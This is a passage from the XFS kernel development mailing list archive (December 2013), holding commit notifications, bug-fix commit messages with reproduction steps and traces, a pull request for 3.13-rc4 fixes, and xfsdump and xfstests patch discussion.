xfs: move getdents code into it's own file 1fd7115 xfs: introduce xfs_inode_buf.c for inode buffer operations 7bb85ef xfs: move unrelated definitions out of xfs_inode.h 5c4d97d xfs: move inode fork definitions to a new header file 7fd36c4 xfs: split out transaction reservation code d386b32 xfs: sync minor header differences needed by userspace. 76456fc xfs: introduce xfs_quota_defs.h c729820 xfs: introduce xfs_rtalloc_defs.h 2a3c0ac xfs: split out on-disk transaction definitions 9cd047f xfs: separate icreate log format definitions from xfs_icreate_item.h 6ca1c90 xfs: separate dquot on disk format definitions out of xfs_quota.h 9fbe24d xfs: split out EFI/EFD log item format definition a8da0da xfs: split out buf log item format definitions 6943283 xfs: split out inode log item format definition fc06c6d xfs: separate out log format definitions 7a378c9 xfs: WQ_NON_REENTRANT is meaningless and going away e1b4271 xfs: di_flushiter considered harmful e60896d xfs: di_flushiter considered harmful d892d58 xfs: Start using pquotaino from the superblock. 0102629 xfs: Initialize all quota inodes to be NULLFSINO 297aa63 xfs: Fix a deadlock in xfs_log_commit_cil() code path 58e5985 xfs: fix assertion failure in xfs_vm_write_failed() 239dab4 Merge tag 'for-linus-v3.11-rc1-2' of git://oss.sgi.com/xfs/xfs da89bd2 Merge tag 'for-linus-v3.11-rc1' of git://oss.sgi.com/xfs/xfs 790eac5 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs 46a1c2c vfs: export lseek_execute() to modules 9e239bb Merge tag 'ext4_for_linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tytso/ext4 b822755 [readdir] convert xfs d302cf1 xfs: don't shutdown log recovery on validation errors 088c9f6 xfs: ensure btree root split sets blkno correctly 5170711 xfs: fix implicit padding in directory and attr CRC formats 47ad2fc xfs: don't emit v5 superblock warnings on write 0a8aa19 xfs: increase number of ACL entries for V5 superblocks f763fd4 xfs: disable noattr2/attr2 mount options for CRC enabled filesystems ad868af xfs: inode unlinked list needs to recalculate the inode CRC 7540617 xfs: fix log recovery transaction item reordering ea92953 xfs: fix remote attribute invalidation for a leaf bb9b8e8 xfs: rework dquot CRCs 7bc0dc2 xfs: rework remote attr CRCs 634fd53 xfs: fully initialise temp leaf in xfs_attr3_leaf_compact 9e80c76 xfs: fully initialise temp leaf in xfs_attr3_leaf_unbalance 58a7228 xfs: correctly map remote attr buffers during removal 26f7144 xfs: remote attribute tail zeroing does too much 551b382 xfs: remote attribute read too short 9531e2d xfs: remote attribute allocation may be contiguous e400d27 xfs: fix dir3 freespace block corruption 7c9950f xfs: disable swap extents ioctl on CRC enabled filesystems e7927e8 xfs: add fsgeom flag for v5 superblock support. 1de09d1 xfs: fix incorrect remote symlink block count 7d2ffe8 xfs: fix split buffer vector log recovery support 2962f5a xfs: kill suid/sgid through the truncate path. 08fb390 xfs: avoid nesting transactions in xfs_qm_scall_setqlim() 7ae0778 xfs: remote attribute lookups require the value length cf257ab xfs: xfs_attr_shortform_allfit() does not handle attr3 format. 7ced60c xfs: xfs_da3_node_read_verify() doesn't handle XFS_ATTR3_LEAF_MAGIC b17cb36 xfs: fix missing KM_NOFS tags to keep lockdep happy 509e708 xfs: Don't reference the EFI after it is freed 7031d0e xfs: fix rounding in xfs_free_file_space 480d746 xfs: fix sub-page blocksize data integrity writes 34097df xfs: use ->invalidatepage() length argument d47992f mm: change invalidatepage prototype to accept length from c31ad439e8d111bf911c9cc80619cebde411a44d (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit ffbf2210df41793c8a904f0115d519094799977f Author: Jie Liu Date: Tue Nov 26 21:38:49 2013 +0800 xfs: fix infinite loop by detaching the group/project hints from user dquot xfs_quota(8) will hang up if trying to turn group/project quota off before the user quota is off, this could be 100% reproduced by: # mount -ouquota,gquota /dev/sda7 /xfs # mkdir /xfs/test # xfs_quota -xc 'off -g' /xfs <-- hangs up # echo w > /proc/sysrq-trigger # dmesg SysRq : Show Blocked State task PC stack pid father xfs_quota D 0000000000000000 0 27574 2551 0x00000000 [snip] Call Trace: [] schedule+0xad/0xc0 [] schedule_timeout+0x35e/0x3c0 [] ? mark_held_locks+0x176/0x1c0 [] ? call_timer_fn+0x2c0/0x2c0 [] ? xfs_qm_shrink_count+0x30/0x30 [xfs] [] schedule_timeout_uninterruptible+0x26/0x30 [] xfs_qm_dquot_walk+0x235/0x260 [xfs] [] ? xfs_perag_get+0x1d8/0x2d0 [xfs] [] ? xfs_perag_get+0x5/0x2d0 [xfs] [] ? xfs_inode_ag_iterator+0xae/0xf0 [xfs] [] ? xfs_trans_free_dqinfo+0x50/0x50 [xfs] [] ? xfs_inode_ag_iterator+0xcf/0xf0 [xfs] [] xfs_qm_dqpurge_all+0x66/0xb0 [xfs] [] xfs_qm_scall_quotaoff+0x20a/0x5f0 [xfs] [] xfs_fs_set_xstate+0x136/0x180 [xfs] [] do_quotactl+0x53a/0x6b0 [] ? iput+0x5b/0x90 [] SyS_quotactl+0x167/0x1d0 [] ? trace_hardirqs_on_thunk+0x3a/0x3f [] system_call_fastpath+0x16/0x1b It's fine if we turn user quota off at first, then turn off other kind of quotas if they are enabled since the group/project dquot refcount is decreased to zero once the user quota if off. Otherwise, those dquots refcount is non-zero due to the user dquot might refer to them as hint(s). Hence, above operation cause an infinite loop at xfs_qm_dquot_walk() while trying to purge dquot cache. This problem has been around since Linux 3.4, it was introduced by: [ b84a3a9675 xfs: remove the per-filesystem list of dquots ] Originally we will release the group dquot pointers because the user dquots maybe carrying around as a hint via xfs_qm_detach_gdquots(). However, with above change, there is no such work to be done before purging group/project dquot cache. In order to solve this problem, this patch introduces a special routine xfs_qm_dqpurge_hints(), and it would release the group/project dquot pointers the user dquots maybe carrying around as a hint, and then it will proceed to purge the user dquot cache if requested. Cc: stable@vger.kernel.org Signed-off-by: Jie Liu Reviewed-by: Dave Chinner Signed-off-by: Ben Myers (cherry picked from commit df8052e7dae00bde6f21b40b6e3e1099770f3afc) commit f94c44573e7c22860e2c3dfe349c45f72ba35ad3 Author: Dave Chinner Date: Thu Nov 21 15:41:06 2013 +1100 xfs: growfs overruns AGFL buffer on V4 filesystems This loop in xfs_growfs_data_private() is incorrect for V4 superblocks filesystems: for (bucket = 0; bucket < XFS_AGFL_SIZE(mp); bucket++) agfl->agfl_bno[bucket] = cpu_to_be32(NULLAGBLOCK); For V4 filesystems, we don't have a agfl header structure, and so XFS_AGFL_SIZE() returns an entire sector's worth of entries, which we then index from an offset into the sector. Hence: buffer overrun. This problem was introduced in 3.10 by commit 77c95bba ("xfs: add CRC checks to the AGFL") which changed the AGFL structure but failed to update the growfs code to handle the different structures. Fix it by using the correct offset into the buffer for both V4 and V5 filesystems. Cc: Signed-off-by: Dave Chinner Reviewed-by: Jie Liu Signed-off-by: Ben Myers (cherry picked from commit b7d961b35b3ab69609aeea93f870269cb6e7ba4d) commit 2f42d612e7d4c4fb1819ea7b2b6e18938714ae7a Author: Jie Liu Date: Wed Nov 20 16:08:53 2013 +0800 xfs: don't perform discard if the given range length is less than block size For discard operation, we should return EINVAL if the given range length is less than a block size, otherwise it will go through the file system to discard data blocks as the end range might be evaluated to -1, e.g, # fstrim -v -o 0 -l 100 /xfs7 /xfs7: 9811378176 bytes were trimmed This issue can be triggered via xfstests/generic/288. Also, it seems to get the request queue pointer via bdev_get_queue() instead of the hard code pointer dereference is not a bad thing. Signed-off-by: Jie Liu Reviewed-by: Christoph Hellwig Signed-off-by: Ben Myers (cherry picked from commit f9fd0135610084abef6867d984e9951c3099950d) commit 31978b5cc66b8ba8a7e8eef60b12395d41b7b890 Author: Dan Carpenter Date: Thu Oct 31 21:00:10 2013 +0300 xfs: underflow bug in xfs_attrlist_by_handle() If we allocate less than sizeof(struct attrlist) then we end up corrupting memory or doing a ZERO_PTR_SIZE dereference. This can only be triggered with CAP_SYS_ADMIN. Reported-by: Nico Golde Reported-by: Fabian Yamaguchi Signed-off-by: Dan Carpenter Reviewed-by: Dave Chinner Signed-off-by: Ben Myers (cherry picked from commit 071c529eb672648ee8ca3f90944bcbcc730b4c06) ----------------------------------------------------------------------- Summary of changes: fs/xfs/Makefile | 28 +- fs/xfs/kmem.c | 23 +- fs/xfs/kmem.h | 30 +- fs/xfs/xfs_acl.c | 44 +- fs/xfs/xfs_ag.h | 57 - fs/xfs/xfs_alloc.c | 25 +- fs/xfs/xfs_alloc.h | 3 - fs/xfs/xfs_alloc_btree.c | 14 +- fs/xfs/xfs_alloc_btree.h | 35 - fs/xfs/xfs_aops.c | 85 +- fs/xfs/xfs_aops.h | 3 - fs/xfs/xfs_attr.c | 437 +-- fs/xfs/xfs_attr.h | 9 + fs/xfs/xfs_attr_inactive.c | 452 +++ fs/xfs/xfs_attr_leaf.c | 684 +---- fs/xfs/xfs_attr_leaf.h | 234 +- fs/xfs/xfs_attr_list.c | 653 +++++ fs/xfs/xfs_attr_remote.c | 30 +- fs/xfs/xfs_attr_remote.h | 29 - fs/xfs/xfs_bit.c | 4 +- fs/xfs/xfs_bmap.c | 881 +----- fs/xfs/xfs_bmap.h | 56 +- fs/xfs/xfs_bmap_btree.c | 63 +- fs/xfs/xfs_bmap_btree.h | 109 +- fs/xfs/xfs_bmap_util.c | 1814 ++++++++++++ fs/xfs/xfs_bmap_util.h | 113 + fs/xfs/xfs_btree.c | 189 +- fs/xfs/xfs_btree.h | 100 +- fs/xfs/xfs_buf.c | 267 +- fs/xfs/xfs_buf.h | 17 +- fs/xfs/xfs_buf_item.c | 86 +- fs/xfs/xfs_buf_item.h | 104 +- fs/xfs/xfs_da_btree.c | 274 +- fs/xfs/xfs_da_btree.h | 137 +- fs/xfs/xfs_da_format.c | 907 ++++++ fs/xfs/{xfs_dir2_format.h => xfs_da_format.h} | 606 ++-- fs/xfs/xfs_dfrag.c | 459 --- fs/xfs/xfs_dfrag.h | 53 - fs/xfs/xfs_dinode.h | 3 + fs/xfs/xfs_dir2.c | 77 +- fs/xfs/xfs_dir2.h | 116 + fs/xfs/xfs_dir2_block.c | 202 +- fs/xfs/xfs_dir2_data.c | 172 +- fs/xfs/xfs_dir2_leaf.c | 655 +---- fs/xfs/xfs_dir2_node.c | 351 +-- fs/xfs/xfs_dir2_priv.h | 70 +- fs/xfs/xfs_dir2_readdir.c | 695 +++++ fs/xfs/xfs_dir2_sf.c | 319 +- fs/xfs/xfs_discard.c | 17 +- fs/xfs/xfs_dquot.c | 167 +- fs/xfs/xfs_dquot.h | 2 - fs/xfs/xfs_dquot_buf.c | 288 ++ fs/xfs/xfs_dquot_item.c | 40 +- fs/xfs/xfs_error.c | 12 +- fs/xfs/xfs_export.c | 13 +- fs/xfs/xfs_extent_busy.c | 16 +- fs/xfs/xfs_extent_busy.h | 4 + fs/xfs/xfs_extfree_item.c | 58 +- fs/xfs/xfs_extfree_item.h | 88 +- fs/xfs/xfs_file.c | 113 +- fs/xfs/xfs_filestream.c | 18 +- fs/xfs/xfs_filestream.h | 4 - fs/xfs/xfs_format.h | 414 +++ fs/xfs/xfs_fs.h | 44 +- fs/xfs/xfs_fsops.c | 59 +- fs/xfs/xfs_ialloc.c | 27 +- fs/xfs/xfs_ialloc.h | 5 +- fs/xfs/xfs_ialloc_btree.c | 13 +- fs/xfs/xfs_ialloc_btree.h | 51 - fs/xfs/xfs_icache.c | 52 +- fs/xfs/xfs_icache.h | 56 +- fs/xfs/xfs_icreate_item.c | 28 +- fs/xfs/xfs_icreate_item.h | 18 - fs/xfs/xfs_inode.c | 3862 ++++++++++--------------- fs/xfs/xfs_inode.h | 316 +- fs/xfs/xfs_inode_buf.c | 481 +++ fs/xfs/xfs_inode_buf.h | 50 + fs/xfs/xfs_inode_fork.c | 1904 ++++++++++++ fs/xfs/xfs_inode_fork.h | 172 ++ fs/xfs/xfs_inode_item.c | 65 +- fs/xfs/xfs_inode_item.h | 115 +- fs/xfs/xfs_ioctl.c | 333 ++- fs/xfs/xfs_ioctl.h | 10 + fs/xfs/xfs_ioctl32.c | 32 +- fs/xfs/xfs_iomap.c | 44 +- fs/xfs/xfs_iomap.h | 8 +- fs/xfs/xfs_iops.c | 146 +- fs/xfs/xfs_iops.h | 9 + fs/xfs/xfs_itable.c | 22 +- fs/xfs/xfs_linux.h | 60 +- fs/xfs/xfs_log.c | 191 +- fs/xfs/xfs_log.h | 96 +- fs/xfs/xfs_log_cil.c | 397 +-- fs/xfs/xfs_log_format.h | 679 +++++ fs/xfs/xfs_log_priv.h | 172 +- fs/xfs/xfs_log_recover.c | 751 +++-- fs/xfs/xfs_log_rlimit.c | 150 + fs/xfs/xfs_message.c | 5 +- fs/xfs/xfs_mount.c | 785 +---- fs/xfs/xfs_mount.h | 118 +- fs/xfs/xfs_qm.c | 482 +-- fs/xfs/xfs_qm.h | 8 +- fs/xfs/xfs_qm_bhv.c | 13 +- fs/xfs/xfs_qm_syscalls.c | 154 +- fs/xfs/xfs_quota.h | 282 +- fs/xfs/xfs_quota_defs.h | 161 ++ fs/xfs/xfs_quotaops.c | 20 +- fs/xfs/xfs_rename.c | 346 --- fs/xfs/xfs_rtalloc.c | 1868 +++--------- fs/xfs/xfs_rtalloc.h | 77 +- fs/xfs/xfs_rtbitmap.c | 974 +++++++ fs/xfs/xfs_sb.c | 836 ++++++ fs/xfs/xfs_sb.h | 69 +- fs/xfs/xfs_shared.h | 244 ++ fs/xfs/xfs_super.c | 81 +- fs/xfs/xfs_symlink.c | 292 +- fs/xfs/xfs_symlink.h | 43 +- fs/xfs/xfs_symlink_remote.c | 202 ++ fs/xfs/xfs_trace.c | 17 +- fs/xfs/xfs_trace.h | 99 +- fs/xfs/xfs_trans.c | 755 +---- fs/xfs/xfs_trans.h | 317 +- fs/xfs/xfs_trans_ail.c | 28 +- fs/xfs/xfs_trans_buf.c | 14 +- fs/xfs/xfs_trans_dquot.c | 16 +- fs/xfs/xfs_trans_extfree.c | 7 +- fs/xfs/xfs_trans_inode.c | 21 +- fs/xfs/xfs_trans_priv.h | 14 + fs/xfs/xfs_trans_resv.c | 794 +++++ fs/xfs/xfs_trans_resv.h | 116 + fs/xfs/xfs_types.h | 60 +- fs/xfs/xfs_utils.c | 314 -- fs/xfs/xfs_utils.h | 27 - fs/xfs/xfs_vnode.h | 8 - fs/xfs/xfs_vnodeops.c | 1870 ------------ fs/xfs/xfs_vnodeops.h | 56 - fs/xfs/xfs_xattr.c | 10 +- 137 files changed, 18813 insertions(+), 16236 deletions(-) create mode 100644 fs/xfs/xfs_attr_inactive.c create mode 100644 fs/xfs/xfs_attr_list.c create mode 100644 fs/xfs/xfs_bmap_util.c create mode 100644 fs/xfs/xfs_bmap_util.h create mode 100644 fs/xfs/xfs_da_format.c rename fs/xfs/{xfs_dir2_format.h => xfs_da_format.h} (57%) delete mode 100644 fs/xfs/xfs_dfrag.c delete mode 100644 fs/xfs/xfs_dfrag.h create mode 100644 fs/xfs/xfs_dir2_readdir.c create mode 100644 fs/xfs/xfs_dquot_buf.c create mode 100644 fs/xfs/xfs_format.h create mode 100644 fs/xfs/xfs_inode_buf.c create mode 100644 fs/xfs/xfs_inode_buf.h create mode 100644 fs/xfs/xfs_inode_fork.c create mode 100644 fs/xfs/xfs_inode_fork.h create mode 100644 fs/xfs/xfs_log_format.h create mode 100644 fs/xfs/xfs_log_rlimit.c create mode 100644 fs/xfs/xfs_quota_defs.h delete mode 100644 fs/xfs/xfs_rename.c create mode 100644 fs/xfs/xfs_rtbitmap.c create mode 100644 fs/xfs/xfs_sb.c create mode 100644 fs/xfs/xfs_shared.h create mode 100644 fs/xfs/xfs_symlink_remote.c create mode 100644 fs/xfs/xfs_trans_resv.c create mode 100644 fs/xfs/xfs_trans_resv.h delete mode 100644 fs/xfs/xfs_utils.c delete mode 100644 fs/xfs/xfs_utils.h delete mode 100644 fs/xfs/xfs_vnodeops.c delete mode 100644 fs/xfs/xfs_vnodeops.h hooks/post-receive -- XFS development tree From bpm@sgi.com Tue Dec 10 13:53:18 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C762A7F75 for ; Tue, 10 Dec 2013 13:53:18 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7A4BC8F8049; Tue, 10 Dec 2013 11:53:15 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 3F9504266DC; Tue, 10 Dec 2013 13:53:15 -0600 (CST) To: torvalds@linux-foundation.org Subject: [GIT PULL] XFS bugfixes for 3.13-rc4 Cc: akpm@linux-foundation.org, linux-kernel@vger.kernel.org, xfs@oss.sgi.com Message-Id: <20131210195315.3F9504266DC@whiskey.americas.sgi.com> Date: Tue, 10 Dec 2013 13:53:15 -0600 (CST) From: bpm@sgi.com (Ben Myers) Hi Linus, Please pull these bugfixes for xfs. There is a security fix for memory corruption in xfs_attrlist_by_handle, a fix for trim, and a fix for buffer overrun in the agfl when growing filesystems with a v4 superblock. Thanks, Ben The following changes since commit dc1ccc48159d63eca5089e507c82c7d22ef60839: Linux 3.13-rc2 (2013-11-29 12:57:14 -0800) are available in the git repository at: git://oss.sgi.com/xfs/xfs.git tags/xfs-for-linus-v3.13-rc4 for you to fetch changes up to f94c44573e7c22860e2c3dfe349c45f72ba35ad3: xfs: growfs overruns AGFL buffer on V4 filesystems (2013-12-10 10:04:27 -0600) ---------------------------------------------------------------- xfs: bugfixes for 3.13-rc4 - fix for buffer overrun in agfl with growfs on v4 superblock - return EINVAL if requested discard length is less than a block - fix possible memory corruption in xfs_attrlist_by_handle() ---------------------------------------------------------------- Dan Carpenter (1): xfs: underflow bug in xfs_attrlist_by_handle() Dave Chinner (1): xfs: growfs overruns AGFL buffer on V4 filesystems Jie Liu (1): xfs: don't perform discard if the given range length is less than block size fs/xfs/xfs_discard.c | 5 +++-- fs/xfs/xfs_fsops.c | 6 +++++- fs/xfs/xfs_ioctl.c | 3 ++- fs/xfs/xfs_ioctl32.c | 3 ++- 4 files changed, 12 insertions(+), 5 deletions(-) From kmcmarti@redhat.com Tue Dec 10 14:01:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9A6447F76 for ; Tue, 10 Dec 2013 14:01:52 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 372B1AC011 for ; Tue, 10 Dec 2013 12:01:46 -0800 (PST) X-ASG-Debug-ID: 1386705705-04cbb0416868b760001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id DXzad9vxPX0Hdknt for ; Tue, 10 Dec 2013 12:01:45 -0800 (PST) X-Barracuda-Envelope-From: kmcmarti@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id rBAJoGfh004583 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 10 Dec 2013 14:50:17 -0500 Received: from redacted.bos.redhat.com ([10.18.17.143]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id rBAJoCWW019246 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NO); Tue, 10 Dec 2013 14:50:14 -0500 Date: Tue, 10 Dec 2013 14:50:12 -0500 From: Kyle McMartin To: Eric Sandeen Cc: sandeen@redhat.com, xfs@oss.sgi.com Subject: Re: [PATCH] xfsdump: don't assume getdents exists Message-ID: <20131210195012.GG31356@redacted.bos.redhat.com> X-ASG-Orig-Subj: Re: [PATCH] xfsdump: don't assume getdents exists References: <20131106213635.GC24712@redacted.bos.redhat.com> <52A72930.4020404@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52A72930.4020404@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1386705705 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Tue, Dec 10, 2013 at 08:46:08AM -0600, Eric Sandeen wrote: > On 11/6/13, 3:36 PM, Kyle McMartin wrote: > > New Linux ports are using a standard syscall list that does not include > > deprecated syscalls where 64-bit clean alternatives exist. As a result, > > on arm64, __NR_getdents is undefined, resulting in xfsdump failing to > > build. > > > > To avoid that, in the case where __NR_getdents is unset in unistd.h, > > avoid building the fallback path entirely, since > > __ASSUME_GETDENTS64_SYSCALL will be true, the SYS_getdents64 case will > > be the primary (and only) path used. > > > > Signed-off-by: Kyle McMartin > > Hey Kyle - were you going to do a V2 of this one? > > Just checking, thanks - > -Eric > Yeah, I can do that today. Thanks Eric. --Kyle From jayr@google.com Tue Dec 10 14:12:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id AC3B77F80 for ; Tue, 10 Dec 2013 14:12:19 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7A3ED8F8033 for ; Tue, 10 Dec 2013 12:12:19 -0800 (PST) X-ASG-Debug-ID: 1386706338-04bdf0131b18f800001-NocioJ Received: from mail-ie0-f201.google.com (mail-ie0-f201.google.com [209.85.223.201]) by cuda.sgi.com with ESMTP id WWC7Yp6Yos5GuCYp (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 10 Dec 2013 12:12:18 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.223.201 Received: by mail-ie0-f201.google.com with SMTP id at1so1116096iec.4 for ; Tue, 10 Dec 2013 12:12:18 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=empGQbZaupR+CqvNIefRGaU80Zximbhjc2CaBlEx9mU=; b=OG1OYoRRhJLDpO4aMiUUzU1AYiYIpHKA5pUlyhdZz99CtZUUIWYaAh2UPe4xfSlQeR j5ekEsT+26CbAFayLEcwGnnMzt5VHrD04bIkRF3+s8xevbX6HqXm0wbYUigOmfbykK9c kmm/nuIMqnxTV2s+174RSmXGZfW6AhLQ7wH/DLY8kdXOV3TcNDGU79KPCdfkbMj89vMI fnLbIiQhmReCeHZf+Nu1SkdKXsMbpMqPPAtd7Aq6W1jBWaAn6XGGm0lejcRyDH7QTEI9 WbUs1uf8wlS5cMfwgx+kLpDi8XaLb2pVNNk56ty6hDV+6THG6C1mdI8Hj1DPjpE9R5A8 hhWA== X-Barracuda-BBL-IP: nil X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=empGQbZaupR+CqvNIefRGaU80Zximbhjc2CaBlEx9mU=; b=BDlKebe23QPsqpm00h1Mh2B2X7bR1yI32A80QD1dKFuWgr7qSWjFaOAgSkD8E9cI2R 5FyuOAoi998AgHbbpkAjy/w4d2X0BNRU46SyYlSkYfMNPyviOqC7tl3z0M62a0HVMID1 Ijusu14Ad+1Dl2h4EgznLneHxRuG5KV2Qc6spruBGFwMB336wEs+1pcJGnMgp8oLzoI9 6OaJ/+1CatWbsh7s2+0Nta6aG2dTZvQgm06Ig+P3eW+lggWG2QOsquX+bwchMoKQ6R8Q gKXQghfz2AAPJaIvgKju6esGrV4JgEgEJdd3KQvz+iSEn+7GokwD6y/ZSyokDdg2ImlQ sAiw== X-Gm-Message-State: ALoCoQmYpfPS8sWjXnmbHze0HHnqo1jCAEYbJkzzT7P4aX8OSd1akvZ+rT4CJucBjXDdaYbVL1uNVt1c79d8IpkymHlIPZ/9tuzWzOe6WDn7e95Nku0jhJxjQ/REcoADkhtIQaMLuItfts9d+q3MkWXSFl2sSz/U/l8CWMmDssRpcb452r/RxJyPAzPexhbcFxl8YVpS7ejt X-Received: by 10.42.61.137 with SMTP id u9mr8557743ich.0.1386706337996; Tue, 10 Dec 2013 12:12:17 -0800 (PST) Received: from corp2gmr1-1.hot.corp.google.com (corp2gmr1-1.hot.corp.google.com [172.24.189.92]) by gmr-mx.google.com with ESMTPS id o30si704719yhn.1.2013.12.10.12.12.17 for (version=TLSv1.1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Tue, 10 Dec 2013 12:12:17 -0800 (PST) Received: from jayr2.mtv.corp.google.com (jayr2.mtv.corp.google.com [172.17.130.182]) by corp2gmr1-1.hot.corp.google.com (Postfix) with ESMTP id 70F2731C281; Tue, 10 Dec 2013 12:12:17 -0800 (PST) From: Junho Ryu To: xfs@oss.sgi.com Cc: branto@redhat.com, hughd@google.com, tytso@mit.edu, Junho Ryu Subject: [PATCH 03/10] xfstests: _scratch_mkfs_sized() for tmpfs Date: Tue, 10 Dec 2013 12:11:54 -0800 X-ASG-Orig-Subj: [PATCH 03/10] xfstests: _scratch_mkfs_sized() for tmpfs Message-Id: <1386706321-15795-4-git-send-email-jayr@google.com> X-Mailer: git-send-email 1.8.5.1 In-Reply-To: <1386706321-15795-1-git-send-email-jayr@google.com> References: <1386706321-15795-1-git-send-email-jayr@google.com> X-Barracuda-Connect: mail-ie0-f201.google.com[209.85.223.201] X-Barracuda-Start-Time: 1386706338 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142996 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Hugh Dickins _scratch_mkfs_sized() avoid blockdev and update MOUNT_OPTIONS with required size on tmpfs, so those tests using it can now run. Signed-off-by: Hugh Dickins Signed-off-by: Junho Ryu --- common/rc | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/common/rc b/common/rc index a2005c9..83d56a1 100644 --- a/common/rc +++ b/common/rc @@ -590,7 +590,7 @@ _scratch_mkfs_sized() blocks=`expr $fssize / $blocksize` - if [ "$HOSTOS" == "Linux" ]; then + if [ "$HOSTOS" == "Linux" -a "$FSTYP" != "tmpfs" ]; then devsize=`blockdev --getsize64 $SCRATCH_DEV` [ "$fssize" -gt "$devsize" ] && _notrun "Scratch device too small" fi @@ -611,6 +611,9 @@ _scratch_mkfs_sized() btrfs) $MKFS_BTRFS_PROG $MKFS_OPTIONS -b $fssize $SCRATCH_DEV ;; + tmpfs) + export MOUNT_OPTIONS="-o size=$fssize $TMPFS_MOUNT_OPTIONS" + ;; *) _notrun "Filesystem $FSTYP not supported in _scratch_mkfs_sized" ;; -- 1.8.5.1 From jayr@google.com Tue Dec 10 14:12:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9D3C67F7B for ; Tue, 10 Dec 2013 14:12:19 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 10AA7AC012 for ; Tue, 10 Dec 2013 12:12:18 -0800 (PST) X-ASG-Debug-ID: 1386706337-04cbb0416668bd90001-NocioJ Received: from mail-ob0-f202.google.com (mail-ob0-f202.google.com [209.85.214.202]) by cuda.sgi.com with ESMTP id LNSXFF2GiqHF8S7s (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 10 Dec 2013 12:12:18 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.214.202 Received: by mail-ob0-f202.google.com with SMTP id gq1so1117229obb.5 for ; Tue, 10 Dec 2013 12:12:17 -0800 (PST) DKIM-Signature: v=1; 